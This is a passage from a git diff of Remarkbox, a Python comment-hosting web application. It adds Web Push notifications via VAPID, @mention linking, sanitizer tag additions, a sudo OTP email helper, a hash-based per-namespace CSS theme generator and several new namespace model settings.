|
||||||
|
snapshot_iso = _utc_now_iso()
|
||||||
|
qr_data_uri = qr_png_data_uri(canonical_uri) if include_qr else None
|
||||||
|
return {
|
||||||
|
"canonical_uri": canonical_uri,
|
||||||
|
"snapshot_iso": snapshot_iso,
|
||||||
|
"version": version,
|
||||||
|
"qr_data_uri": qr_data_uri,
|
||||||
|
"kind": kind,
|
||||||
|
"host": host,
|
||||||
|
}
|
||||||
213
remarkbox/lib/push.py
Normal file
|
|
@ -0,0 +1,213 @@
|
||||||
|
"""
|
||||||
|
Web Push notification support using the VAPID protocol.
|
||||||
|
|
||||||
|
This module provides:
|
||||||
|
- VAPID key generation and management
|
||||||
|
- Push subscription storage helpers
|
||||||
|
- Sending push notifications via the Web Push protocol
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- py_vapid: VAPID key generation and signing
|
||||||
|
- pywebpush: Web Push API client
|
||||||
|
|
||||||
|
If these packages are not installed, push notifications are silently
|
||||||
|
disabled and all functions become no-ops.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Try to import push dependencies. If they are not installed, push
|
||||||
|
# notification support is silently disabled.
|
||||||
|
try:
|
||||||
|
from pywebpush import webpush, WebPushException
|
||||||
|
from py_vapid import Vapid
|
||||||
|
PUSH_AVAILABLE = True
|
||||||
|
except ImportError:
|
||||||
|
PUSH_AVAILABLE = False
|
||||||
|
log.info("pywebpush/py_vapid not installed; push notifications disabled")
|
||||||
|
|
||||||
|
|
||||||
|
def get_vapid_keys(settings):
|
||||||
|
"""
|
||||||
|
Return a dict with 'private_key' and 'public_key' VAPID strings.
|
||||||
|
|
||||||
|
Reads from the application settings (ini file):
|
||||||
|
push.vapid_private_key
|
||||||
|
push.vapid_public_key
|
||||||
|
push.vapid_contact (mailto: URI for the VAPID contact)
|
||||||
|
|
||||||
|
If keys are not configured, returns None.
|
||||||
|
"""
|
||||||
|
private_key = settings.get("push.vapid_private_key")
|
||||||
|
public_key = settings.get("push.vapid_public_key")
|
||||||
|
contact = settings.get("push.vapid_contact", "")
|
||||||
|
|
||||||
|
if private_key and public_key:
|
||||||
|
return {
|
||||||
|
"private_key": private_key,
|
||||||
|
"public_key": public_key,
|
||||||
|
"contact": contact,
|
||||||
|
}
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def generate_vapid_keys():
|
||||||
|
"""
|
||||||
|
Generate a new VAPID key pair for initial setup.
|
||||||
|
|
||||||
|
Returns a dict with 'private_key' and 'public_key' as base64url strings,
|
||||||
|
suitable for pasting into the .ini configuration file.
|
||||||
|
|
||||||
|
Usage (from a Python shell):
|
||||||
|
from remarkbox.lib.push import generate_vapid_keys
|
||||||
|
keys = generate_vapid_keys()
|
||||||
|
print(keys)
|
||||||
|
"""
|
||||||
|
if not PUSH_AVAILABLE:
|
||||||
|
raise RuntimeError(
|
||||||
|
"pywebpush and py_vapid must be installed to generate VAPID keys. "
|
||||||
|
"Run: pip install pywebpush py_vapid"
|
||||||
|
)
|
||||||
|
vapid = Vapid()
|
||||||
|
vapid.generate_keys()
|
||||||
|
return {
|
||||||
|
"private_key": vapid.private_pem(),
|
||||||
|
"public_key": vapid.public_key_urlsafe_base64(),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def send_push_notification(subscription_info, payload, vapid_keys):
|
||||||
|
"""
|
||||||
|
Send a push notification to a single subscription.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
subscription_info: dict with 'endpoint', 'keys' (p256dh, auth)
|
||||||
|
payload: dict to JSON-encode as the notification body
|
||||||
|
vapid_keys: dict from get_vapid_keys()
|
||||||
|
|
||||||
|
Returns True on success, False on failure.
|
||||||
|
"""
|
||||||
|
if not PUSH_AVAILABLE:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not vapid_keys:
|
||||||
|
log.warning("VAPID keys not configured; cannot send push notification")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
webpush(
|
||||||
|
subscription_info=subscription_info,
|
||||||
|
data=json.dumps(payload),
|
||||||
|
vapid_private_key=vapid_keys["private_key"],
|
||||||
|
vapid_claims={
|
||||||
|
"sub": vapid_keys["contact"],
|
||||||
|
},
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
except WebPushException as e:
|
||||||
|
log.warning("Push notification failed: %s", e, exc_info=True)
|
||||||
|
# A 410 Gone response means the subscription is no longer valid.
|
||||||
|
if hasattr(e, "response") and e.response is not None:
|
||||||
|
if e.response.status_code == 410:
|
||||||
|
log.info("Subscription expired (410 Gone), should be removed")
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
log.warning("Unexpected error sending push notification", exc_info=True)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def send_push_to_user(request, user, payload):
|
||||||
|
"""
|
||||||
|
Send a push notification to all active subscriptions for a user.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
request: Pyramid request (used to read settings)
|
||||||
|
user: User model instance
|
||||||
|
payload: dict to send as the notification body
|
||||||
|
|
||||||
|
Returns the number of successful sends.
|
||||||
|
"""
|
||||||
|
if not PUSH_AVAILABLE:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
vapid_keys = get_vapid_keys(request.registry.settings)
|
||||||
|
if not vapid_keys:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
subscriptions = get_push_subscriptions(user)
|
||||||
|
if not subscriptions:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
success_count = 0
|
||||||
|
expired = []
|
||||||
|
|
||||||
|
for sub in subscriptions:
|
||||||
|
ok = send_push_notification(sub, payload, vapid_keys)
|
||||||
|
if ok:
|
||||||
|
success_count += 1
|
||||||
|
else:
|
||||||
|
# Track potentially expired subscriptions for cleanup.
|
||||||
|
expired.append(sub)
|
||||||
|
|
||||||
|
return success_count
|
||||||
|
|
||||||
|
|
||||||
|
def get_push_subscriptions(user):
|
||||||
|
"""
|
||||||
|
Return the list of push subscription dicts for a user.
|
||||||
|
|
||||||
|
Subscriptions are stored as a JSON string in user.push_subscriptions.
|
||||||
|
Returns an empty list if no subscriptions exist.
|
||||||
|
"""
|
||||||
|
if not user.push_subscriptions:
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
return json.loads(user.push_subscriptions)
|
||||||
|
except (json.JSONDecodeError, TypeError):
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def add_push_subscription(user, subscription_info):
|
||||||
|
"""
|
||||||
|
Add a push subscription for a user, avoiding duplicates.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user: User model instance
|
||||||
|
subscription_info: dict with 'endpoint', 'keys' (p256dh, auth)
|
||||||
|
|
||||||
|
Returns True if the subscription was added, False if already exists.
|
||||||
|
"""
|
||||||
|
subscriptions = get_push_subscriptions(user)
|
||||||
|
|
||||||
|
# Check for duplicate endpoint.
|
||||||
|
for sub in subscriptions:
|
||||||
|
if sub.get("endpoint") == subscription_info.get("endpoint"):
|
||||||
|
return False
|
||||||
|
|
||||||
|
subscriptions.append(subscription_info)
|
||||||
|
user.push_subscriptions = json.dumps(subscriptions)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def remove_push_subscription(user, endpoint):
|
||||||
|
"""
|
||||||
|
Remove a push subscription by endpoint URL.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user: User model instance
|
||||||
|
endpoint: The push subscription endpoint URL to remove
|
||||||
|
|
||||||
|
Returns True if removed, False if not found.
|
||||||
|
"""
|
||||||
|
subscriptions = get_push_subscriptions(user)
|
||||||
|
original_count = len(subscriptions)
|
||||||
|
subscriptions = [s for s in subscriptions if s.get("endpoint") != endpoint]
|
||||||
|
|
||||||
|
if len(subscriptions) < original_count:
|
||||||
|
user.push_subscriptions = json.dumps(subscriptions) if subscriptions else None
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
@ -5,6 +5,8 @@ from .sanitize_html import (
|
||||||
clean_raw_html,
|
clean_raw_html,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
from .mentions import resolve_mentions, replace_mentions_with_links
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
log = logging.getLogger(__name__)
|
log = logging.getLogger(__name__)
|
||||||
|
|
@ -51,10 +53,18 @@ def make_cleaner_from_namespace(namespace):
|
||||||
return cleaner
|
return cleaner
|
||||||
|
|
||||||
|
|
||||||
def markdown_to_html(data, namespace=None):
|
def markdown_to_html(data, namespace=None, dbsession=None):
|
||||||
raw_html = markdown_to_raw_html(data, extra_extensions=["mdx_math"])
|
raw_html = markdown_to_raw_html(data, extra_extensions=["mdx_math"])
|
||||||
if namespace:
|
if namespace:
|
||||||
cleaner = make_cleaner_from_namespace(namespace)
|
cleaner = make_cleaner_from_namespace(namespace)
|
||||||
else:
|
else:
|
||||||
cleaner = default_cleaner()
|
cleaner = default_cleaner()
|
||||||
return clean_raw_html(raw_html, cleaner)
|
html = clean_raw_html(raw_html, cleaner)
|
||||||
|
|
||||||
|
# After sanitization, resolve @mentions and convert to profile links.
|
||||||
|
if dbsession is not None:
|
||||||
|
resolved = resolve_mentions(dbsession, data)
|
||||||
|
if resolved:
|
||||||
|
html = replace_mentions_with_links(html, resolved)
|
||||||
|
|
||||||
|
return html
|
||||||
|
|
|
||||||
|
|
@ -50,7 +50,8 @@ def default_cleaner(tag_acl=None):
|
||||||
if tag_acl is None:
|
if tag_acl is None:
|
||||||
tag_acl = {}
|
tag_acl = {}
|
||||||
|
|
||||||
maybe_safe_tags = ["pre", "table", "tr", "td"]
|
maybe_safe_tags = ["pre", "table", "tr", "td", "th", "thead", "tbody",
|
||||||
|
"figure", "figcaption", "dl", "caption"]
|
||||||
|
|
||||||
tags = maybe_safe_tags + list(tag_acl.keys()) + markdown_tags
|
tags = maybe_safe_tags + list(tag_acl.keys()) + markdown_tags
|
||||||
attrs = markdown_attrs
|
attrs = markdown_attrs
|
||||||
|
|
@ -224,4 +225,9 @@ def clean_raw_html(raw_html, cleaner=None):
|
||||||
# protect links from abuse.
|
# protect links from abuse.
|
||||||
soup = protect_links(soup, cleaner)
|
soup = protect_links(soup, cleaner)
|
||||||
|
|
||||||
|
# html5lib always wraps output in <html><head><body> — extract body
|
||||||
|
# contents only so data_html stores a fragment, not a full document.
|
||||||
|
body = soup.find("body")
|
||||||
|
if body is not None:
|
||||||
|
return body.decode_contents(eventual_encoding="utf-8")
|
||||||
return soup.decode(eventual_encoding="utf-8")
|
return soup.decode(eventual_encoding="utf-8")
|
||||||
|
|
|
||||||
14
remarkbox/lib/sudo.py
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
from remarkbox.models.sudo_otp import create_sudo_otp
|
||||||
|
from remarkbox.lib.mail import send_sudo_otp_email
|
||||||
|
|
||||||
|
|
||||||
|
def request_sudo_otp(request, action_key, action_description):
|
||||||
|
"""Generate a sudo OTP code, email it to the current user, and return the code."""
|
||||||
|
code = create_sudo_otp(
|
||||||
|
request.dbsession,
|
||||||
|
action_key,
|
||||||
|
action_description,
|
||||||
|
client_ip=str(request.client_addr),
|
||||||
|
)
|
||||||
|
send_sudo_otp_email(request, request.user.email, action_description, code)
|
||||||
|
return code
|
||||||
199
remarkbox/lib/theme_generator.py
Normal file
|
|
@ -0,0 +1,199 @@
|
||||||
|
"""Auto-generate unique themes per namespace.
|
||||||
|
|
||||||
|
Deterministic: same namespace name always produces the same theme.
|
||||||
|
Uses CSS custom properties with prefers-color-scheme for light/dark mode.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import struct
|
||||||
|
|
||||||
|
|
||||||
|
def _name_to_hue(name):
|
||||||
|
"""Deterministically map a namespace name to a hue (0-360)."""
|
||||||
|
h = hashlib.sha256(name.encode("utf-8")).digest()
|
||||||
|
return struct.unpack(">H", h[:2])[0] % 360
|
||||||
|
|
||||||
|
|
||||||
|
def _name_to_seed(name):
|
||||||
|
"""Get multiple deterministic values from a name."""
|
||||||
|
h = hashlib.sha256(name.encode("utf-8")).digest()
|
||||||
|
values = struct.unpack(">8H", h[:16])
|
||||||
|
return values
|
||||||
|
|
||||||
|
|
||||||
|
def generate_theme_css(namespace_name):
|
||||||
|
"""Generate a complete CSS theme for a namespace.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace_name: The namespace name (e.g. "meta.remarkbox.com")
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
CSS string with custom properties for light and dark modes.
|
||||||
|
"""
|
||||||
|
seed = _name_to_seed(namespace_name)
|
||||||
|
|
||||||
|
# Primary hue from name
|
||||||
|
hue = seed[0] % 360
|
||||||
|
# Secondary hue offset (analogous or complementary)
|
||||||
|
hue_offset = 30 + (seed[1] % 30) # 30-60 degree offset
|
||||||
|
secondary_hue = (hue + hue_offset) % 360
|
||||||
|
# Accent hue
|
||||||
|
accent_hue = (hue + 180 + (seed[2] % 40 - 20)) % 360 # near-complementary
|
||||||
|
|
||||||
|
# Saturation variance
|
||||||
|
sat_base = 40 + (seed[3] % 25) # 40-65%
|
||||||
|
|
||||||
|
css = '''/* Auto-generated theme for {name} */
|
||||||
|
/* Deterministic: regenerating from the same name produces identical output */
|
||||||
|
|
||||||
|
:root,
|
||||||
|
.theme-light {{
|
||||||
|
--rb-bg: hsl({hue}, {sat_bg}%, 97%);
|
||||||
|
--rb-bg-card: hsl({hue}, {sat_bg}%, 100%);
|
||||||
|
--rb-bg-nested: hsl({hue}, {sat_bg}%, 96%);
|
||||||
|
--rb-bg-code: hsl({hue}, {sat_bg}%, 94%);
|
||||||
|
--rb-text: hsl({hue}, {sat_base}%, 15%);
|
||||||
|
--rb-text-secondary: hsl({hue}, {sat_muted}%, 35%);
|
||||||
|
--rb-text-muted: hsl({hue}, {sat_muted}%, 55%);
|
||||||
|
--rb-link: hsl({accent_hue}, {sat_link}%, 40%);
|
||||||
|
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 30%);
|
||||||
|
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 45%);
|
||||||
|
--rb-border: hsl({hue}, {sat_muted}%, 85%);
|
||||||
|
--rb-border-light: hsl({hue}, {sat_muted}%, 91%);
|
||||||
|
--rb-accent: hsl({accent_hue}, {sat_accent}%, 45%);
|
||||||
|
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 35%);
|
||||||
|
--rb-accent-text: hsl({accent_hue}, 5%, 100%);
|
||||||
|
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 70%);
|
||||||
|
--rb-avatar-border: hsl({hue}, {sat_muted}%, 80%);
|
||||||
|
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 30%, 0.08);
|
||||||
|
}}
|
||||||
|
|
||||||
|
@media (prefers-color-scheme: dark) {{
|
||||||
|
:root:not(.theme-light) {{
|
||||||
|
--rb-bg: hsl({hue}, {sat_dark}%, 10%);
|
||||||
|
--rb-bg-card: hsl({hue}, {sat_dark}%, 14%);
|
||||||
|
--rb-bg-nested: hsl({hue}, {sat_dark}%, 12%);
|
||||||
|
--rb-bg-code: hsl({hue}, {sat_dark}%, 18%);
|
||||||
|
--rb-text: hsl({hue}, {sat_bg}%, 90%);
|
||||||
|
--rb-text-secondary: hsl({hue}, {sat_muted}%, 70%);
|
||||||
|
--rb-text-muted: hsl({hue}, {sat_muted}%, 50%);
|
||||||
|
--rb-link: hsl({accent_hue}, {sat_link}%, 65%);
|
||||||
|
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 75%);
|
||||||
|
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 60%);
|
||||||
|
--rb-border: hsl({hue}, {sat_muted}%, 25%);
|
||||||
|
--rb-border-light: hsl({hue}, {sat_muted}%, 20%);
|
||||||
|
--rb-accent: hsl({accent_hue}, {sat_accent}%, 55%);
|
||||||
|
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 65%);
|
||||||
|
--rb-accent-text: hsl({accent_hue}, 5%, 10%);
|
||||||
|
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 40%);
|
||||||
|
--rb-avatar-border: hsl({hue}, {sat_muted}%, 35%);
|
||||||
|
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 5%, 0.3);
|
||||||
|
}}
|
||||||
|
}}
|
||||||
|
|
||||||
|
.theme-dark {{
|
||||||
|
--rb-bg: hsl({hue}, {sat_dark}%, 10%);
|
||||||
|
--rb-bg-card: hsl({hue}, {sat_dark}%, 14%);
|
||||||
|
--rb-bg-nested: hsl({hue}, {sat_dark}%, 12%);
|
||||||
|
--rb-bg-code: hsl({hue}, {sat_dark}%, 18%);
|
||||||
|
--rb-text: hsl({hue}, {sat_bg}%, 90%);
|
||||||
|
--rb-text-secondary: hsl({hue}, {sat_muted}%, 70%);
|
||||||
|
--rb-text-muted: hsl({hue}, {sat_muted}%, 50%);
|
||||||
|
--rb-link: hsl({accent_hue}, {sat_link}%, 65%);
|
||||||
|
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 75%);
|
||||||
|
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 60%);
|
||||||
|
--rb-border: hsl({hue}, {sat_muted}%, 25%);
|
||||||
|
--rb-border-light: hsl({hue}, {sat_muted}%, 20%);
|
||||||
|
--rb-accent: hsl({accent_hue}, {sat_accent}%, 55%);
|
||||||
|
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 65%);
|
||||||
|
--rb-accent-text: hsl({accent_hue}, 5%, 10%);
|
||||||
|
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 40%);
|
||||||
|
--rb-avatar-border: hsl({hue}, {sat_muted}%, 35%);
|
||||||
|
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 5%, 0.3);
|
||||||
|
}}
|
||||||
|
|
||||||
|
/* Apply theme variables to remarkbox elements */
|
||||||
|
body {{
|
||||||
|
background-color: var(--rb-bg);
|
||||||
|
color: var(--rb-text);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.node {{
|
||||||
|
background-color: var(--rb-bg-card);
|
||||||
|
border-color: var(--rb-border-light);
|
||||||
|
box-shadow: var(--rb-shadow);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.node .node {{
|
||||||
|
background-color: var(--rb-bg-nested);
|
||||||
|
}}
|
||||||
|
|
||||||
|
a {{
|
||||||
|
color: var(--rb-link);
|
||||||
|
}}
|
||||||
|
|
||||||
|
a:hover {{
|
||||||
|
color: var(--rb-link-hover);
|
||||||
|
}}
|
||||||
|
|
||||||
|
a:visited {{
|
||||||
|
color: var(--rb-link-visited);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.text-muted, .rb-meta {{
|
||||||
|
color: var(--rb-text-muted);
|
||||||
|
}}
|
||||||
|
|
||||||
|
pre, code {{
|
||||||
|
background-color: var(--rb-bg-code);
|
||||||
|
border-color: var(--rb-border);
|
||||||
|
}}
|
||||||
|
|
||||||
|
blockquote {{
|
||||||
|
border-left-color: var(--rb-blockquote-border);
|
||||||
|
color: var(--rb-text-secondary);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.rb-submit, .btn-primary {{
|
||||||
|
background-color: var(--rb-accent);
|
||||||
|
color: var(--rb-accent-text);
|
||||||
|
border-color: var(--rb-accent);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.rb-submit:hover, .btn-primary:hover {{
|
||||||
|
background-color: var(--rb-accent-hover);
|
||||||
|
border-color: var(--rb-accent-hover);
|
||||||
|
}}
|
||||||
|
|
||||||
|
.nested-avatar {{
|
||||||
|
border-color: var(--rb-avatar-border);
|
||||||
|
}}
|
||||||
|
|
||||||
|
hr {{
|
||||||
|
border-color: var(--rb-border-light);
|
||||||
|
}}
|
||||||
|
|
||||||
|
textarea, input[type="text"], input[type="email"] {{
|
||||||
|
background-color: var(--rb-bg-card);
|
||||||
|
color: var(--rb-text);
|
||||||
|
border-color: var(--rb-border);
|
||||||
|
}}
|
||||||
|
|
||||||
|
textarea:focus, input:focus {{
|
||||||
|
border-color: var(--rb-accent);
|
||||||
|
outline-color: var(--rb-accent);
|
||||||
|
}}
|
||||||
|
'''.format(
|
||||||
|
name=namespace_name,
|
||||||
|
hue=hue,
|
||||||
|
secondary_hue=secondary_hue,
|
||||||
|
accent_hue=accent_hue,
|
||||||
|
sat_base=sat_base,
|
||||||
|
sat_bg=max(sat_base - 25, 5),
|
||||||
|
sat_muted=max(sat_base - 15, 10),
|
||||||
|
sat_link=min(sat_base + 15, 75),
|
||||||
|
sat_accent=min(sat_base + 20, 80),
|
||||||
|
sat_dark=max(sat_base - 30, 8),
|
||||||
|
)
|
||||||
|
|
||||||
|
return css
|
||||||
|
|
@ -18,6 +18,10 @@ from .watcher import *
|
||||||
from .event import *
|
from .event import *
|
||||||
from .notification import *
|
from .notification import *
|
||||||
from .pay_what_you_can import *
|
from .pay_what_you_can import *
|
||||||
|
from .payment import *
|
||||||
|
from .webmention import *
|
||||||
|
from .sudo_otp import *
|
||||||
|
from .revision import *
|
||||||
|
|
||||||
# run configure_mappers after defining all of the models to ensure
|
# run configure_mappers after defining all of the models to ensure
|
||||||
# all relationships can be setup
|
# all relationships can be setup
|
||||||
|
|
|
||||||
|
|
@ -7,6 +7,7 @@ from sqlalchemy import ForeignKey
|
||||||
|
|
||||||
from time import time
|
from time import time
|
||||||
|
|
||||||
|
import base64
|
||||||
import uuid
|
import uuid
|
||||||
from sqlalchemy_utils import UUIDType as TempUUIDType
|
from sqlalchemy_utils import UUIDType as TempUUIDType
|
||||||
|
|
||||||
|
|
@ -38,6 +39,9 @@ CLASS_TO_TABLE = {
|
||||||
"NodeEvent": "rb_node_event",
|
"NodeEvent": "rb_node_event",
|
||||||
"NodeEventNotification": "rb_node_event_notification",
|
"NodeEventNotification": "rb_node_event_notification",
|
||||||
"PayWhatYouCan": "rb_pay_what_you_can",
|
"PayWhatYouCan": "rb_pay_what_you_can",
|
||||||
|
"Payment": "rb_payment",
|
||||||
|
"Webmention": "rb_webmention",
|
||||||
|
"Revision": "rb_revision",
|
||||||
}
|
}
|
||||||
|
|
||||||
# node (threads), namespace (forum)
|
# node (threads), namespace (forum)
|
||||||
|
|
@ -45,7 +49,7 @@ WATCHER_TYPES = {"reply", "node", "namespace"}
|
||||||
|
|
||||||
NOTIFICATION_FREQUENCIES = {"never", "immediately", "daily", "weekly"}
|
NOTIFICATION_FREQUENCIES = {"never", "immediately", "daily", "weekly"}
|
||||||
|
|
||||||
NOTIFICATION_METHODS = {"email"}
|
NOTIFICATION_METHODS = {"email", "push"}
|
||||||
|
|
||||||
NODE_EVENT_ACTIONS = {
|
NODE_EVENT_ACTIONS = {
|
||||||
"enabled",
|
"enabled",
|
||||||
|
|
@ -75,10 +79,10 @@ def short_id_to_bytes(short_id):
|
||||||
"""Accept a short_id (sanitized url safe base64 string) and return a byte string.
|
"""Accept a short_id (sanitized url safe base64 string) and return a byte string.
|
||||||
|
|
||||||
>>> short_id_to_bytes('dbHeSEFLEeeuz5xONpxxWA')
|
>>> short_id_to_bytes('dbHeSEFLEeeuz5xONpxxWA')
|
||||||
'u\xb1\xdeHAK\x11\xe7\xae\xcf\x9cN6\x9cqX'
|
b'u\xb1\xdeHAK\x11\xe7\xae\xcf\x9cN6\x9cqX'
|
||||||
|
|
||||||
"""
|
"""
|
||||||
return (short_id + "===").replace("_", "/").replace("-", "+").decode("base64")
|
return base64.b64decode((short_id + "===").replace("_", "/").replace("-", "+"))
|
||||||
|
|
||||||
|
|
||||||
def id_to_uuid(the_id):
|
def id_to_uuid(the_id):
|
||||||
|
|
|
||||||
|
|
@ -52,12 +52,19 @@ PROTECTED_ATTRIBUTES = {
|
||||||
"google_analytics_id": None,
|
"google_analytics_id": None,
|
||||||
"hide_unverified": False,
|
"hide_unverified": False,
|
||||||
"hide_unless_approved": False,
|
"hide_unless_approved": False,
|
||||||
|
"allow_anonymous": False,
|
||||||
"hide_powered_by": False,
|
"hide_powered_by": False,
|
||||||
"mathjax": False,
|
"mathjax": False,
|
||||||
"link_protection": False,
|
"link_protection": False,
|
||||||
"ignore_query_string": False,
|
"ignore_query_string": False,
|
||||||
"reverse_order": False,
|
"reverse_order": False,
|
||||||
"group_conversations": False,
|
"group_conversations": False,
|
||||||
|
"api_access": True,
|
||||||
|
"submit_button_text": None,
|
||||||
|
"comment_label_singular": None,
|
||||||
|
"comment_label_plural": None,
|
||||||
|
"max_nesting_depth": None,
|
||||||
|
"collapse_depth": None,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -85,6 +92,8 @@ class Namespace(RBase, Base):
|
||||||
owner_request_timestamp = Column(BigInteger, nullable=True)
|
owner_request_timestamp = Column(BigInteger, nullable=True)
|
||||||
# optional google analytics id for stand alone mode.
|
# optional google analytics id for stand alone mode.
|
||||||
google_analytics_id = Column(Unicode(18), nullable=True)
|
google_analytics_id = Column(Unicode(18), nullable=True)
|
||||||
|
# optional google site verification code for stand alone mode.
|
||||||
|
google_site_verification = Column(Unicode(128), nullable=True)
|
||||||
# allow anyone to edit the root node. (not implemented yet)
|
# allow anyone to edit the root node. (not implemented yet)
|
||||||
wiki = Column(Boolean, default=False)
|
wiki = Column(Boolean, default=False)
|
||||||
# by default we show all nodes but a Namespace can change this behavior.
|
# by default we show all nodes but a Namespace can change this behavior.
|
||||||
|
|
@ -92,6 +101,8 @@ class Namespace(RBase, Base):
|
||||||
hide_unverified = Column(Boolean, default=False)
|
hide_unverified = Column(Boolean, default=False)
|
||||||
# should a node be hidden until approved by a moderator?
|
# should a node be hidden until approved by a moderator?
|
||||||
hide_unless_approved = Column(Boolean, default=False)
|
hide_unless_approved = Column(Boolean, default=False)
|
||||||
|
# allow anonymous commenting (name only, no email required)
|
||||||
|
allow_anonymous = Column(Boolean, default=False)
|
||||||
# should we hide the poweredby Remarkbox logo?
|
# should we hide the poweredby Remarkbox logo?
|
||||||
hide_powered_by = Column(Boolean, default=False)
|
hide_powered_by = Column(Boolean, default=False)
|
||||||
# should the list of root nodes in this namespace be public or hidden?
|
# should the list of root nodes in this namespace be public or hidden?
|
||||||
|
|
@ -107,6 +118,20 @@ class Namespace(RBase, Base):
|
||||||
reverse_order = Column(Boolean, default=False)
|
reverse_order = Column(Boolean, default=False)
|
||||||
# should we group conversations and limit to nesting 2 deep?
|
# should we group conversations and limit to nesting 2 deep?
|
||||||
group_conversations = Column(Boolean, default=False)
|
group_conversations = Column(Boolean, default=False)
|
||||||
|
# allow JSON API access to this namespace?
|
||||||
|
api_access = Column(Boolean, default=True)
|
||||||
|
# the group postfix used for imports (e.g., "rb" creates "Anonymous-rb")
|
||||||
|
# Once set, this becomes permanent for all imported surrogates
|
||||||
|
import_group_postfix = Column(Unicode(6), default=None, nullable=True)
|
||||||
|
# T4: customizable button text and comment labels
|
||||||
|
submit_button_text = Column(Unicode(256), default=None, nullable=True)
|
||||||
|
comment_label_singular = Column(Unicode(256), default=None, nullable=True)
|
||||||
|
comment_label_plural = Column(Unicode(256), default=None, nullable=True)
|
||||||
|
# T8: nesting depth settings
|
||||||
|
max_nesting_depth = Column(Integer, default=None, nullable=True)
|
||||||
|
collapse_depth = Column(Integer, default=None, nullable=True)
|
||||||
|
# Spam filter: namespace owners can disable Hermes LLM checks.
|
||||||
|
spam_filter_enabled = Column(Boolean, default=True)
|
||||||
# the type of subscription of this Namespace.
|
# the type of subscription of this Namespace.
|
||||||
subscription_type = Column(
|
subscription_type = Column(
|
||||||
Enum(*SUBSCRIPTION_TYPES, name="subscription_type"),
|
Enum(*SUBSCRIPTION_TYPES, name="subscription_type"),
|
||||||
|
|
@ -247,7 +272,7 @@ class Namespace(RBase, Base):
|
||||||
@property
|
@property
|
||||||
def moderators(self):
|
def moderators(self):
|
||||||
"""Return a list of moderator role User objects."""
|
"""Return a list of moderator role User objects."""
|
||||||
return self.enabled_users
|
return self.roles.get("moderator", [])
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def visible_roots(self):
|
def visible_roots(self):
|
||||||
|
|
@ -307,6 +332,12 @@ class Namespace(RBase, Base):
|
||||||
or_(Node.approved == False, Node.approved.is_(None)), Node.disabled == False
|
or_(Node.approved == False, Node.approved.is_(None)), Node.disabled == False
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def spam_nodes(self):
|
||||||
|
return self.nodes.filter(
|
||||||
|
Node.spam_score >= 0.5, Node.disabled == False
|
||||||
|
)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def visible_nodes(self):
|
def visible_nodes(self):
|
||||||
return get_nodes_who_share_roots_query(self.dbsession, self.visible_roots)
|
return get_nodes_who_share_roots_query(self.dbsession, self.visible_roots)
|
||||||
|
|
@ -348,14 +379,37 @@ class Namespace(RBase, Base):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def is_moderator(self, user):
|
def is_moderator(self, user):
|
||||||
"""Return True if given user moderates this namespace, else False."""
|
"""Return True if given user moderates this namespace, else False.
|
||||||
if user and user.authenticated and user in self.moderators:
|
|
||||||
|
Superusers are treated as moderators on every namespace.
|
||||||
|
Owners are implicitly moderators.
|
||||||
|
"""
|
||||||
|
if user and user.authenticated:
|
||||||
|
if getattr(user, "is_superuser", False):
|
||||||
|
return True
|
||||||
|
if user in self.moderators:
|
||||||
|
return True
|
||||||
|
if user in self.owners:
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def can_alter_node(self, node, user):
|
def can_alter_node(self, node, user):
|
||||||
return self.is_moderator(user) or node.is_owner(user)
|
return self.is_moderator(user) or node.is_owner(user)
|
||||||
|
|
||||||
|
